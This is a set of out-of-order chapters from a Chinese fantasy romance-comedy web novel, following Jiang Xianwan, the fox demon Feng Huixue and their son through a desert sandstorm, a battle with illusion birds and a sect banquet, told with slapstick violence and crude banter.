“没关系,哥哥不懂事没关系,有我就够了,我绝对不会像哥哥那样惹晚晚生气的。” 江献晚软绵绵的手指,努力揪紧滑落肩头的光滑衣料,看着茶言茶语,还要来扒她衣裳的少年,默默深吸一口气。 哥哥哥哥! 又特么哥哥哥哥! 她咬牙忍了几忍,还是没忍住,一拳砸在少年那张漂亮的脸蛋上。 “我特么伤的是肩!” 草你爹! 你他妈倒是给留一件啊! 就这么把她扒干净了?! 裤衩呢! 肚兜呢! 脸呢! 这身与她身形不符的张扬猩红衣袍,是谁的,用得着猜吗? 一看就是现扒的。 感受着风直往空荡荡的衣袍中灌,江献晚根本没勇气低一点头,看看自己现在到底是个什么模样。 不知是气的,还是用尽力气的一拳,眼前一阵阵发黑,脱力般,软绵绵趴回他怀中。 “非翎……你混蛋!” 非翎挨了一拳,一手忙扶稳她的腰肢,让她靠在自己的怀中。 另一只手紧张的执起她的手,放在唇边吹了吹,无不是心疼。 “是不是打痛了?” 又小声解释道:“你衣裳湿了,我怕你不舒服。” 江献晚眼皮子一阵狂跳,猛地抬起头,努力揪住他的衣襟,“你不会用修为烘干吗!” “……我忘了嘛。” 再说了,江献晚的衣裳破的七七八八,根本没法穿。 脱个衣裳,再穿个衣裳,也就打个响指的事儿。 他刚才只顾着摁恶狗一般的小紫,怕它偷看,自个根本没来得及看,还后悔为什么给她穿的那么麻溜。 小紫:…… 江献晚:“……” 他还挺理直气壮? 江献晚却不知道他故意含糊其辞,自然亦不知真相。 当然,小紫更是看热闹不嫌事儿大,巴不得江献晚将这小贱魔暴揍一顿。 悠闲地翘起一截尖尖,兴奋的躺在江献晚腿上,看戏。 江献晚精准捕捉到少年眼底一闪而逝的滚烫欲色,脸色黑如锅底。 咬着牙根,艰难的从牙缝里蹦出几个字。 “那我还真是要……谢谢你!” 非翎睫毛扑闪了几下,耳廓边缘泛起可疑的红晕,嘟着唇瓣,又黏糊糊地低头,胡乱去拱她脖颈。 无不羞涩。 “我是你的,我们本就是一体,哪有跟自家男人说谢的嘛。” 江献晚:“……”他的阅读理解就这么差? 语文是数学老师教的? 对于这种脸皮极厚,还故意装作听不出好赖话的小贱魔,江献晚激动地喷他脸上。 “谢你妈个头!” 又转而怒气冲冲捞过腿上的小紫,努力一晃。 “没良心的!你跟谁是一伙的!他扒我衣裳,你就不会劈死他!” 小紫很委屈:我没劈吗?他根本就不怕劈!我越劈他他越爽,而且他说你的伤要赶紧治。 江献晚吸气,吸气,再吸气,一把甩开小紫,猛然翻身将非翎摁在地上。 揪着他的衣领,骑上去。 “非翎!我忍你很久了!” “天天在信道里哥哥哥!你特么睡会觉能死吗!” “掐个诀很难吗!” “替我把肚兜穿上很难吗!” “贱人!” 江献晚想到因非翎整日嘴贱,而间接性受到牵连的无辜自己,就来气。 现下又被扒的一点都不剩。 拔下乌发间瓷白的骨簪,作势就要刺入他的胸膛,刺入那颗跳动的心脏。 非翎正委屈的眸子反而一亮,双臂欣然张开,在江献晚猝然懵逼的表情中,主动迎上去。 热情似火地接住了她,像拥住一罐甜滋滋的蜜糖。 火柴擦燃似的,欢喜席卷整个眼眶。 那原本停在空中的骨簪,就这么又准又狠推入他的心窝。 几滴血飞溅在面颊,江献晚微微一怔,以至于不能立时反应过来。 第 204 章 快死了 一只通体雪白的九尾狐,穿梭在漫天黄沙之中,留下几不可察的道道虚影。 龙卷风过去,天地间,满目黄沙漫漫,苍凉空寂。 任何活物留下的痕迹仿佛被一并抹去,找不到一丝生命的存在。 所有生存在这里的妖兽来不及庆幸危险已过,被一种无形的恐怖威压压的再次缩回巢穴中,肢体匍匐,瑟瑟发抖。 风回雪心急如焚,张望四周,爪子焦躁不安地刨了一下黄沙,继续急速向前。 很快,他发现了几个黑色的东西忽然从沙下浮出,速度再次提升到极致。 近了,更近了。 那是江献晚的锅! 风回雪心头狂跳不止,悬在嗓子眼的心,瞬间落到腹中。 “晚晚!” 他眼角泛红,长睫犹带着湿濡,像是被露水打湿的蝶。 一个狐扑,幻作人形,双腿竟是有些发软,踉跄着冲到锅前。 他了解江献晚的一切,很快找到机关,掀开一口锅。 风回雪微怔,眼底的温度刹那间冷了下来。 他声线冷沉,叫人听不出情绪,又仿佛压抑着强行克制的戾气。 “不是。” 又掀起一口。 艰难的忍耐,使得那双熔岩流金般的狐狸眸,扭曲几道割裂的血色,喉结因剧烈滚动,气息粗重,开始发疼发涩。 他死死盯着眼前的锅,快要殆尽的温度被掩藏在乌沉沉的眸底,支离破碎。 “不是……” “没有……” “还是没有……” “滚!” 风回雪眼底最后一丝晴霁消失殆尽,那张总是带着魅惑之色的脸一寸寸的剥白,如同上好的薄胎白瓷,轻轻一碰,就会破碎。 他踉跄地走到最后一口最小的锅面前,江献晚跟他说过,以后江行行可以用这口锅给他们做饭。 风回雪满目殷红,一双充斥着雾气的狐狸眸几乎是执拗般,露着凶狠幽光。 扑通跪在松软的黄沙之中,颤抖着手猛地将最后一口锅掀开。 有什么东西悄然碎掉。 风回雪盯着蜷缩成一团的银灰色巨狼,指节缓缓蜷起,手背青色脉络根根突浮。 声线似乎依旧很平淡。 “她呢?” 狼太灰扫过周围,本就苍白的面庞,霎时失去所有血色。 “她?” “砰!” 沉闷的重击,风回雪绝美的五官一瞬间破碎,以至于有些扭曲狰狞。 一拳砸在狼太灰脑袋上,嘶声怒吼,“她呢!” 狼太灰没说话,血液模糊视线,掠过面色苍白的豹冲,一一看去。 江献晚不在其中。 他眼睛一下湿润,年轻的面庞上滚落两行泪水。 许久,哽咽着开口,“不知道。” “不知道?” 这一拳是林玉锦砸的,素日里嘻嘻哈哈的少年眼睛红的骇人,青色发带绞着乌发散落肩头,狼狈的模样,不比风回雪好到哪里去。 林玉锦又是一拳狠狠砸下,连声怒吼。 “她呢!我问你她呢!” “她呢!我小师妹呢!” “你还我小师妹!” 狼太灰慢慢蜷缩在一起,嘴角破裂,口中血腥蔓延,一呼一吸,宛如剥皮抽筋。 可这些都不足以让他疼痛。 他忽然抱着头,呜咽哭出声,眼角的泪顺着面颊一滴一滴落在黄沙中。 “不知道……” “她为了救……救我……” “她为了救我……” 那龙卷风足以瞬间绞碎金丹期的修士,而江献晚的修为被压制在金丹。 只怕被卷进龙卷风的那一刻,便…… “她为了我受伤……肩膀被掏碎了……为了我们放弃活下来的机会……” 林玉锦猛地推开他,跌跌撞撞的爬起来,胡乱的自我安慰。 “不对,一定是没有找到。” 他赶忙用袖子抹了一把脸,看的很仔细。 “一、二、三……” 随着颤抖嘶哑的声线,狼太灰只觉一记又一记的闷棍敲在他头顶,视线随之模糊。 “七。” 数到最后,林玉锦的眼神有些空洞,仿佛失去焦距,周围一切变得模糊不清。 “她买了十一个……分出去四个。” “我,花美人,大师兄,二师兄……” 狼太灰根本无从想风回雪为何忽然喊林玉锦小师兄,为何喊他的朋友晚晚,视线彻底模糊。 —— 妖都。 风回雪抬手把林玉锦手里的玉简摁了回去,“小师兄,你先别激动。” 人还没死,怎么报起丧来了! 林玉锦眼尾挂着潮湿的薄红,冷冷推开他的手,“别激动?我小师妹丢了,生死未卜!我怎么可能不激动!” 说到最后,他几乎是吼了出来。 风回雪对上少年充红的眼睛,心虚地轻咳一声,“我不是这个意思,小师兄,那个……晚晚好像没事。” “我与她之间有灵契。” “她没事!真的!” 林玉锦:“……”草! “你特么不早说!” 林玉锦激动地攥住他的衣领,喷他脸上。 就说,他小师妹福大命大,最多混个骨折什么的,怎么可能说死就死。 绷紧的弦骤然一松,林玉锦软塌塌的跌跪下去,后知后觉,才发现后背出了一层冷汗。 他眼睛里充斥着一种劫后余生的泪花,愤怒指责。 “那你方才那么伤心干嘛!” 害的他也跟着慌了神。 风回雪脸一红,哪里还有方才那种令人心惊肉跳的暴戾绝望之色,讪讪摸了摸鼻尖,“我、我当时太紧张了,没想起来。” “滚!赶紧找去!” “找不到我是不会承认你这个妹夫的!” 风回雪被一脚踹出院子,脑袋抵在墙壁,又是开心又是担心。 开心的是江献晚暂时没有性命之忧,和林玉锦的认可。 担心的是江献晚人在哪里,受了多重的伤,和怎么安抚行行。 他心中焦急如焚,却在抬眸看见少年的那一刻,神色变得格外阴沉。 “滚!好狗不挡道!” 狼太灰没有再像从前呲牙咧嘴的跳脚,泼妇似的骂街。 目光空洞,嗓音嘶哑。 “你杀了我吧。” 风回雪用一种你有病的目光看他。 “是我害了她……我对不起她……” 风回雪:“……” 这狗东西嘴里还能说出对不起这三个字? 不是,他什么时候这么有觉悟了? 想到江献晚因他受了伤,如今又下落不明。 风回雪上前薅住他的衣领,太过气怒,浑然不知喊错了他的名字。 “灰太狼!你最好祈祷上天保佑!她若是出事,我定然将你千刀万剐抽筋拔骨!” 狼太灰垂下脑袋,红着眼眶,任由风回雪将他推搡的撞在墙上。 风回雪看了一眼失魂落魄,仿佛只剩下躯壳的少年,大步离开。 “你和她什么关系?” 身后,传来少年苦涩的声音。 风回雪脚步稍顿,转身,对上一双湿润红肿的眼睛。 “什么关系?” 他唇角勾起,轻轻重复了一遍。 绝滟风华的眉眼,奇异的笼上一层罕见的温柔,嗓音带着几分傲然。 “我是她江献晚的人。” “你说,我们是什么关系?” 他不要藏着掖着了。 他是江献晚的,他所有的一切都是江献晚的。 南北两境知晓如何? 三域知晓又如何? “我不会说出去的。” 风回雪离开时,听到了这么一句,轻的似风,消失在耳畔。 他并没有放在心上。 无所谓。 第 205 章 见过你们的魔后 小紫未见其人,只闻其声,下意识拐了个弯。 望着羽毛齐飞,惨叫冲天,光溜溜的一坨鸟,陷入深深的自我怀疑和惊悚。 江献晚这虎娘们怎么在这? 还有,它什么时候这么听江献晚的话了? 江献晚此刻也忍不住感叹她和小紫之间的孽缘,不浅。 淡定起身,弹去衣袖上的沙粒,继续发出指令,“再来一下。” “我要吃烤鸟翅。” 想到在客栈因天道授意,对着江献晚大劈狂劈,还给她扣了一盆屎。 小紫犹豫了片刻,立刻将正事丢在一旁,分成两条。 偷偷望了一眼天,粗壮的那条瞄准幻鸟,剩下头发丝粗细地一小缕,敷衍地瞄向狼太灰。 狗腿至极。 看在它这么听话的份上,江献晚怎么着也不能跟它算旧账了吧? 小紫一个蓄力,粗壮的雷电之力,气势汹汹地劈向那只凄厉嘶鸣的幻鸟。 紧接着,一股烤肉的香气飘散在空气中。 狼太灰望着那条细的快要瞅不见的一丝儿劫雷,哄孩子似的,将自己脚边的沙炸出一个坑,缓缓张大了嘴巴。 这也……太特么敷衍了吧! 谁家劫能渡成这样的? 小紫得意地扭了扭。 够不够? 够不够? 不够再来一道! 我电满格! 没想到在这里还能见到江献晚,小紫还是蛮开心的,翻了船的友谊重新扬帆。 将一人一电之间的恩怨,麻麻溜溜抛之脑后。 欢乐的扭成风骚而摇曳的波浪线。 “虎娘们!老紫想你了!” “你有没有想老紫?!” 江献晚:“……”它还有脸想她? 鸟呢? 鸟翅呢? 还有那些扣在她脑门上的屎呢! 随着一撮烟灰缓缓消散于天地之间,被幻力迷惑的众妖接二连三清醒过来。 豹冲:“谢谢!” 无痛而又飞速渡了个劫的狼太灰,手搭在耳朵上,“啥?” “谢谢!” “不是,你他妈说啥?能不能大点声!我听不见!” 豹冲嘴角一抽,张开血盆大口,用力喷他脸上,“我说,谢谢——!!!” “妈的!你他妈不会大点声!听不见!听不……” 狼太灰狂摇豹冲,看到他忽然双眼恐惧地看向他的背后,下意识扭头。 “卧槽!” 只见一根巨大的灰柱自云端猛然垂落,直直探向大地,倏忽之间便加快了速度,疯狂扭动起来。 风声转为嘶吼,继而变成尖啸,遮天蔽日的黄沙被卷到空中,形成巨大的黄色旋涡,自沙山之巅迅速移动。 如同剥开一层层薄纸,一路蛮横地向前推进,留下一片狼藉。 仿佛天地之间只剩下它贪婪咀嚼与吞咽之声。 方向,正是他们! “龙卷风!” 狼太灰暴喝一声,声音淹没在周围嘈杂的声音中。 世界仿佛正在崩溃,置身于混沌的末世,目之所及尽是高速旋转的黄沙,伴随着一股撕碎万物的毁灭气势。 江献晚神色微变。 这处沙漠的龙卷风似乎尤为狂暴,异象来的太过突然,跑显然来不及。 狼太灰急急拽了江献晚一把,“快!我们埋到沙下面!” 面对大自然的恐怖现象,此刻连金丹期的修士都显得格外渺小。 他们只能将希望寄托给运气。 江献晚当机立断掏出几口巨大的锅,声音急厉:“都钻进去!” 豹冲被这厉声一喝,反射性幻成本体钻了进去。 其他面色惨白,还来不及庆幸活下来的妖少年们,忙不迭跟着蜷缩成一团,纷纷钻进锅中。 似乎都没意识到,自个对江献晚竟有种天然的信任。 狼太灰死死攥紧江献晚的手腕,神色发急,将她直往锅里塞,“你先进去!” 江献晚看向最小的,仅能容纳一人的锅,不容分说,一脚将他踹翻,拎起锅扣上去。 她大力摁着锅,充耳不闻少年像是突然染上哭声的惊惶叫喊,挥袖打出一道灵力,将几口锅所有的阵法点亮。 眨眼间,几口锅消失在黄沙之中。 阵是二师兄刻的,光是叠加的阵法就有上百种,其中包括重力。 阵法启,锅表面会浮出一层薄薄的光罩,作为保护层。 那重力的阵法,足以将他们带到深沙之下的安全位置。 锅中氧气循环不息,内部消化,亦不必担心时间长了会缺氧。 待危险过去,自动浮出。 想到那各有用处的上百个阵法,江献晚并不担心。 做完这些不过十秒时间,她飞快地再掏出一口锅的时候,才发现这是一口……普通的锅。 底部还烂了一个洞。 小紫:“……” 江献晚:“……” 丸辣。 望着只来得及掐出一团护体光罩,被卷进漩涡中的江献晚,小紫一个哆嗦回神,嗖地一下,窜进了进去。 头晕,恶心,失重…… 强大的离心力与撕扯力,几乎要将人撕碎。 最绝望的是,春潮期来的还真特么掐时掐点。 江献晚来不及作出任何反应,还未散尽的护体灵力,在狂暴旋转的气流中,顷刻被绞的粉碎。 整个身体随着风暴内部,以极高的速度旋转、翻滚、上升和下降,意识一时有些混沌。 还有种骨骼即将断裂的错觉。 若不是气氛不对,江献晚都想为自个的运气鼓两下掌。 星轮感知到她的危险,数道剑意骤然翁地一声清吟,自成一圈牢固的防护罩,将她护在其中。 然而,灵力抽空,搅碎骨头般的恐怖力量撕扯下,江献晚依旧承受不住严重的眩晕,和灌入呼吸的大量尘土。 昏过去的那一刻,一条紫色的劫雷死死的缠上了她的腰,另一头疯狂乱甩,试图抓到一个牢固的东西。 江献晚在欣慰中,闭上了眼。 第 206 章 它应该在床底 女变态·江献晚收回眺望的手,清点过战利品,打算折返,远处忽然传来惊天动地的音爆声。 犹豫一瞬,观天色为时尚早,很有信心与树懒磨上半日,立刻来了看热闹的兴致。 “看看去?” 狼太灰他们也都是猫狗都烦,闲不住的年纪,当即举手赞成。 “沙漠这么大,我想去看看!” “我也想转转!” 一拍即合,他们很快摸到音爆声传出来的位置。 刚爬上沙丘,看清眼前的一幕,狼太灰兴致勃勃的表情倏尔一变。 十来头幻做本体的巨狼,像是失去心智,不分敌我,互相残杀。 哪怕拖着一截被掏出的肠子,都没有停手的意思。 造成这种局面的,正是盘旋在半空的两只元婴期幻鸟妖兽。 修为虽不是足够强,坏就坏在他们进入沙漠后,修为被压制了一大截。 这两只幻鸟又领悟出了领域,一只叫声可以迷幻人的心智,另一只叫声可以制造幻想。 再不阻止,这些同族恐怕都要死在这。 “走!”狼太灰瞳色一厉,低声冷喝。 江献晚随手扔给他几张蜘蛛网,“封闭耳识。” 豹冲等脚步一刹,忙封闭耳识。 江献晚悠然跟上,速度却眨眼越过五个妖少年,冲在了最前方。 一口锅下去,闷倒了一头狼。 狼太灰和豹冲抵着巨大的冲撞力,合力将蜘蛛网罩上一头双目赤红,利齿上还挂着血肉残屑的白狼,飞快打成死结。 他忙里抽闲看了江献晚一眼,心底淌出一股温暖的热流。 江献晚真的把他当做好朋友,帮助他救下他的同族。 有难同当,两肋插刀。 兀自感动地不知怎么是好,江献晚一脚蹬上他的背借力,冲向空中幻鸟,顺便将走神的他蹬醒。 狼太灰:“……”这算不算插朋友两刀? 江献晚似有所感,头也不回,“这个不算。” “最多只能算一刀。” 狼太灰:“……”对哦。好有道理。 对此,江献晚眼底划过一抹怜爱之色,脚尖点过另一个妖伙伴的脑袋。 哪怕修为被压制在金丹期,她身形依旧很快,像是不受影响。 灵力化作利刃,狠狠朝着幻妖的脖颈削去。 幻鸟险些被忽如其来的气刃割喉,在空中疾速调转,堪堪错身避开。 另一只幻鸟,当即仰颈唳啸一声。 这叫声直接冲开了他们的耳识,如指甲抓挠琉璃,刺耳异常。 正试图钳制住另一头狼的狼太灰他们一时不防,紧跟着陷入一种癫狂状态。 目露红光,不可控制的幻作本体。 江献晚此刻倒是安静下来。 她拎着锅静静站在原地,一瞬不瞬的盯着被挠了一爪子的银灰色巨狼,眼眸里藏着看不懂的情绪。 很快,便又收回视线。 被攻击的神识已有不稳的征兆,眼前浮现出风回雪在汤殿欺负她时的画面。 江献晚意识到走歪的思绪,指尖微动,灵力凝成气刃,面不改色的扎进肩膀。 趁着清明的功夫再次封闭耳识。 她在空中向后压身,躲开爆冲掠来的两只幻鸟,翻腕收起锅,挥袖将一个流转着银色星芒的轮盘脱手甩出。 余光瞥到被豹子一爪就要掏了心窝子的狼太灰,没有犹豫,反手打出一记悍然灵力。 那头油光水滑,吃的毛发锃亮的豹子,被这股力量掀翻,砸向另一头疯狼,两个抱作一团,滚进了黄沙之中。 江献晚操控星轮去攻击幻鸟,边留意几头厮杀在一起的狼,又是一道剑意,将一只幻鸟的翅膀尖削落一截。 “啧……又打歪了。” 她语气有些遗憾。 倒不是对自己能力的怀疑。 主要,风回雪啃她的一幕,实在太过于火热。 又可能因为幻鸟的叫声,导致她脑袋里都是风回雪的模样。 两只幻鸟像是看出了她最难缠,立刻改变策略。 商量好似的,一个再次朝她冲去,并用叫声吸引她的注意力。 另一只幻鸟忽然用力一振翅,在空中调转方向。 江献晚与幻鸟泛着冷芒的利爪擦身而过。 回身间带起一片羽毛,煞踏如流星,抬腿粗暴的踹开狼太灰,顺势一记回旋踢,将另一只幻鸟踢飞。 那掏狼太灰狼心的狼爪,掏进了她的肩胛骨,还抓挠了两下。 狼太灰倒在滚烫粗粝的沙上,眼里充斥着血雾。 他喘着粗气,四条腿踉跄爬起来,想掏给那个将他一脚踹翻的人族两脚兽一下。 敢踹他狼太灰小王,他必须得挠给她两爪。 银灰色巨狼,如是想,肉垫一张,伸出坚硬的利爪。 不知怎么,当爪子即将触碰到江献晚后心的刹那,整个躯体蓦然怔住。 他站在原地,一双兽瞳傻愣愣地望着似乎未曾发觉身后危险的江献晚。 江献晚半边肩膀的青衣被血染红,随手一记灵力将攀上高空的幻鸟击飞,右手一拳干翻一头狼,还能一脚将豹子踹的滚三滚。 一个激灵,陡然惊醒。 “江献晚!” 这一声淹没在狼啸和幻鸟陡然聒噪刺耳的叫声中,江献晚没有听清。 见一头矫健漂亮的银色巨狼,呲牙咧嘴,绕到她面前,朝她笔直扑来,长腿一抬,狠狠踹向其腹部。 再插给朋友一刀。 狼太灰:“……” 很快,江献晚发现了狼太灰变回了正常。 大尾巴狼学聪明了,没有再敢扑她,转头气势汹汹,一爪将豹冲拍昏过去。 那狠劲,江献晚差点又给他一脚。 江献晚连砸晕三头狼,见狼太灰勉强能抵挡,转头掠向还在作妖的幻鸟。 星轮再次悬浮于指尖,飞速转动,数道剑意流泻。 这次,准头没歪,很轻松干掉一只幻鸟。 一个帅气的姿势,避开另一只幻鸟的俯冲,单手跪地,这么一撑才发现肩膀疼的快要劈叉。 准备再干掉剩下这只时,狂风骤起,黄沙卷漫,天地忽然为之色变。 她看了一眼浑身弥漫着妖气的狼太灰,唇角抽搐。 修为被压制的情况下,小狼竟然突破瓶颈,渡了个劫。 特么还真是及时啊,敢不敢再早一点。 劫雷声可以将幻鸟的幻术轻易打破,另一只幻鸟被这突如其来的异象,打了个措手不及。 然而失去伴侣的愤怒,还是激发报复的血性,箭矢般朝江献晚再次俯冲。 一道紫色劫雷出现的刚好。 第 119 章 您抗揍吗 林轻染眉头紧紧拧在一起,心情异常烦躁。 她仔细观察江行行的眉眼,再看看江献晚,并没有察觉什么异样。 这个小孩子对谁都热情又有礼貌。 看来,果真是风回雪不知从哪里捡回去的。 若是从这个小娃娃身上下手,使得他对她产生好感。 依风回雪对他的重视,定然爱屋及乌,会对自己另眼相待。 风回雪晦暗莫测的眸光点过万古宗那边,落在那抹白衣上,唇角露出一抹玩味。 这女的先是刻意接近他,又想要接近江行行,揣一肚子坏水。 幸好他命妖侍为行行勾了眼尾,在眉心点了金印,用亮晶晶的荧粉鳞片装饰,模样掩了几分。 他倒不怕江行行出身暴露,可在妖域还未彻底掌控,不想在此刻对江献晚和江行行造成一丝不好的因素。 倒是这个林轻染,全然是个祸害。 克他们一家三口的祸害。 风回雪在心中又狠狠记了一笔。 他坐的四平八稳,寒暄之中,笑意盈盈的模样在众人看来,自然是对自家儿子的在乎和骄傲之色。 只有江献晚被那道几乎要烧穿她脊背的视线,盯的浑身起鸡皮疙瘩。 林轻染拿出一只布偶,亲昵的招招手,摆出自认为最完美无懈的笑容,莞尔一笑。 “行行,要不要来姐姐这里,这里有可爱的小白兔哦。” 苏清流短暂的皱了下眉,见江献晚淡定地夹起一块鸡丁,坐稳了。 白子夜和林玉锦反应也很正常,只是捏着筷子的手几不可察的紧了一些。 听到有人喊他,江行行捏着帕子擦了擦唇角,这才从凳子上滑下。 他看着那只布偶,小脸纠结的皱起,认真而严肃道:“多谢姐姐,只是父王教导行行,不可随便收礼物。” 收娘亲师尊的礼物,这个不算,他们本就是一家人啊。 林轻染忍不住看了一眼风回雪,后者浓的化不开的视线,正在她脸上缓慢流连。 时间仿佛被无限拉长,那绵长的目光如同无形的丝线,周围空气都变得粘稠起来,林轻染感觉面颊的温度在攀升,没有避开。 隔着觥筹交错,迎着那灼热,侵占感极强的狐狸眸,微微弯唇,“没关系的,只是一个玩偶,我想,殿下一定不会介意的。” 说罢,俏皮的眨了眨眸子。 这一眨,风回雪把玩着酒杯的指尖一僵,唇角极浅的玩味弧度没挂住,险些当场来个炸毛。 他余光瞅了一眼吃的极为认真,世间万物不及面前一桌子饭菜的江献晚,委屈的瘪了瘪唇。 死女人,心真大,看着他被别的女人调戏! 风回雪气鼓鼓的磨了一下牙,眼尾微微上挑,唇角又浮出一抹玩世不恭的痞笑。 带着七分慵懒,三分戏谑,眼中令人目眩神迷的涟漪逐渐加深,无端撩拨心神。 “自然,既是美人姐姐给的,便收下吧。” 拿回去狠狠扎小人! 听着那磁性带勾,每一个弥漫着令人微醺的暧昧音色,林轻染羞涩咬唇,心底却十足的后悔。 早知道风回雪会被她这张脸迷的神魂颠倒,当时就应当直接以真面目送上灵泽之露,而不是按照系统所说,等他来寻。 说不定,早就点亮了图鉴。 江行行礼貌地接过那只兔子,毫不吝啬地朝林轻染甜甜一笑,“多谢漂亮姐姐,这个礼物我很……哈秋!” “啊……哈秋!” 江行行小手遮脸,面颊窘迫地涨红,裴长安忙递给他一块干净的手帕。 “谢谢。” 饶是不喜欢小孩子的林轻染,也忍不住伸手想捏一捏他的脸,“真可爱。” 江行行似乎是害羞了,又或许因为方才的失礼不好意思,躲开林轻染伸过来的手,噔噔噔跑回风回雪身边。 他将兔子塞给他爹,小脸一埋,往他爹身上使劲蹭了两下。 爹爹说了,这个女人肚子里装的都是坏虫子,专门咬他们一家三口的坏虫子。 风回雪挑眉。 这小混蛋,拿他当毛巾了这是。 风回雪嫌弃地搁下兔子,拿出手帕打湿,仔仔细细给江行行擦手,再使劲给自己擦手。 眼角暗藏着火辣辣的余光又是一扫某处,低咳一声,让某人看清楚一点。 他们父子,干干净净,老乖了! 江献晚:“……” 午餐过后,江行行与众人又好一会儿道别,带着一堆眼花缭乱的小玩意回了对面客栈。 风回雪踹开一见他们回来,就死命往江行行跟前挤的玄龟,落下一层结界。 “好小子,不愧是我生的,比你爹还要受欢迎,你娘给你的丑王八呢?” 江行行被玄龟顶的步子踉跄,顺势一屁股坐在它的壳上。 从芥子囊掏出四只憨头憨脑的王八,举起其中那只最丑的,“在这里。” 风回雪接过,小心挑开丝线,里面赫然装着一个黑漆漆的小鼎。 他露出两颗尖利的白牙,笑的那叫一个幸灾乐祸,“碰到你娘,算狼太灰倒霉!死丫头,老狡猾了。” “狡猾的不是狐狸吗?” 风回雪:“……”你在说你爹我狡猾吗? 当然,他的确狡猾。 他儿子也狡猾。 这是遗传。 江行行捏起针线,苦恼的提醒他,“还有,爹,您叫娘死丫头,娘亲会扒了您的狐狸皮的。” 风回雪:“……咳,这不是重点。” “这是重点。” “别说话,更不许告状,好好缝你的丑王八。” “还有,先说好,这个王八,你务必要孝敬给你爹。” 江行行:“……”唉。 他缝完王八,又去拆其他三个,边拆边幽幽叹气,“我什么时候可以和娘亲正大光明的睡在一起啊。” 娘亲很久没抱他了。 娘亲最香了。 风回雪捏着丑王八,忧桑地抬头,“行行,听话,你大了。咱就说……这种机会,能让给爹不?” “爹等不及了。” 江行行瞅了他一眼,“我是没意见,但是爹您抗揍吗?” 风回雪:“……” 另一边客栈,江献晚上楼准备打坐,还很激动的三个少年绷着脸,默默跟了进去。 林玉锦一进门,就跟变异似的狂喜的挥动双臂,来回上蹿下跳,“不行了!不行了!我现在有点激动!” 白子夜仿佛陷入什么醉人的回忆,嘴角都要笑烂了,举起一只手,“小师妹,我给他乌龟的时候,他捏我的手。” “啊啊啊!他捏我手!他知道里面有我送的礼物!” 苏清流强忍笑意,依旧没忍住,“他捏我两下。” “咯咯咯咯咯咯。”林玉锦忽然发出一连串诡异地笑声,荡漾的晃晃手,“我还捏了捏他手上的小窝窝!” 白子夜:“……臭不要脸。” “不过。”白子夜话音一转,温润荡然无存,发出一串魔鬼笑声,“咯咯咯咯咯咯!他跟我贴贴了!他用脸蹭我地手!!!” 江献晚:“……” 关注点在这吗? 他们仨为啥送的都是王八? 第 118 章 灵奶代酒 江行行很有礼貌,又是惊讶又是赞叹。 “您长的好高啊。” “您的胡子真长。” “您的肌肉好强壮啊。” “姐姐真漂亮。” “哥哥也很漂亮。” 说着,艰难地从怀里掏出一颗大大的鲛珠,给何未语,“姐姐,这个珠珠会发光的,送给你。” 妖域和两境的关系,就这么轻而易举,悄无声息破冰。 风回雪立在原地,双眸渐渐湿润,恍惚。 江行行像是一个暖灿灿的小太阳,被两境簇拥着,小手就没空下来过。 他和晚晚的行行,终于正大光明出现在众人视野,出现在两境。 只是众人没发现,江行行有意无意根本没碰林轻染一片衣角。 江献晚他们也趁乱摸了好几把。 “啊啊啊啊啊!”林玉锦压低声音尖叫,“摸到了摸到了!我摸到了!嗷嗷嗷!好软!” 白子夜笑的嘴都快劈叉了,眼睛却还是有些红,“我也摸到了。” 苏清流睫毛轻颤,“我也摸到了。” 修言扭过头,兴奋不已,“嗷!我也!!!” 三个少年:“……” 妖域和两境的会面,不知不觉,愉快展开。 好一阵热闹过后,妖域在对面客栈落榻,江行行揪着风回雪的衣裳,依依不舍,一步三回头。 不知哪位弟子大胆开口,“那个,要不留下来吃顿饭。” 两境高层:“……”不是,你,你嘴咋这么快呢。 江献晚看了一眼心虚挠脸的裴长安,眼神充满赞赏。 江行行清澈如水的眸子登时一亮,朝着徐燕洲脆生生道:“掌门伯伯,会不会很麻烦你们?” 这个是掌门伯伯,娘亲说他看着凶,心很软。 面对着这般可爱又漂亮的小娃娃,饶是雾渺和徐燕洲也没能狠下心拒绝。 徐燕洲轻咳一声,努力挤出一个温柔的笑意,“不麻烦,殿下不如一起吧。” 万一他在两境这边出了什么事,到时候可说不清一点。 虽然这小娃娃是他们人族的,可挡不住被风回雪捡了回去,当作亲儿子养。 看样子传言不虚,疼的不得了。 风回雪绯衣如花雾拂动,望着轻轻眨巴眼的江行行,笑的狡猾,暗藏功与名。 “我们父子就恭敬不如从命了。” 手一挥,“今日的消费由我儿子风行行买单!” 这话听着咋这么熟悉呢? 只有江献晚咬牙,咬牙,再咬牙。 风行行。 很好。 六宗二十四位亲传,坐了三桌。 高层一大桌,象征性举杯,以表友好。 风行行从主桌旁的凳子跳下来,行过妖域礼。 小手稳稳端起风回雪为他倒的灵奶,小脸认真而郑重。 “行行年幼,不能饮酒,就以灵奶代酒敬各位前辈一杯。” 说罢,豪气地举杯,一饮而尽。 他年纪太小了。 漂亮的好似年画里走出来的娃娃,小胳膊小腿,礼做的一丝不苟,可爱超级加倍。 两境高层笑的合不拢嘴,雾渺都忍不住笑着捏了帕子给他擦了擦嘴角。 完全不似对风回雪礼貌敷衍的笑,很给面子的举杯。 何未语受不了的捂上心口,“太可爱了叭,我真的受不了了。” 修言嗷地一嗓子,“灵奶代酒,他怎么这么会,好可爱!” “他行礼的时候也好可爱!” “我刚才在他身上闻到一丝奶味耶!” “啊啊啊!他好香好软,想咬一口,他真的长在了我的心巴上!” 弟子们忍不住朝他招手。 “行行过来,咱俩碰一杯!” “来,先来姐姐这里!” “来哥哥这里!” 林玉锦恨不得将这些碍眼的损友统统扔出去,死死摁住跳的最欢的修言。 “我我我!行行看我!” 风回雪笑的狐狸眸眯起,指尖缓缓转着玉杯,放松微微后靠。 他眸光若有若无,始终缠在一大一小身上。 谁懂,老父亲的心啊。 儿子和晚晚都在。 他们一家三口,终于团聚了。 江行行敬了一圈灵奶,或许林玉锦和修言叫的最大声,最热情,又或许…… 最后小腿一迈,没回到风回雪身边,而是对着何未语他们行了个标准可爱的妖域礼。 “各位漂亮的哥哥姐姐,我可以与你们同坐吗?” 苏清流努力压住翘起的唇角,没压住,轻轻掐着他将他抱在座位上。 “当然可以,坐这里。” “谢谢。” 这个是大师伯,往右是二师伯,娘亲左边的是小师伯。 白子夜和林玉锦嫉妒的快疯了。 江献晚在江行行挨近身边坐下的那一刻,瞬间绷紧了脊背。 江行行仰着小脸,琉璃似的眸子细细看去,含着一层湿意。 朝她一笑,“您真漂亮。” 江献晚:“哪里漂亮?” 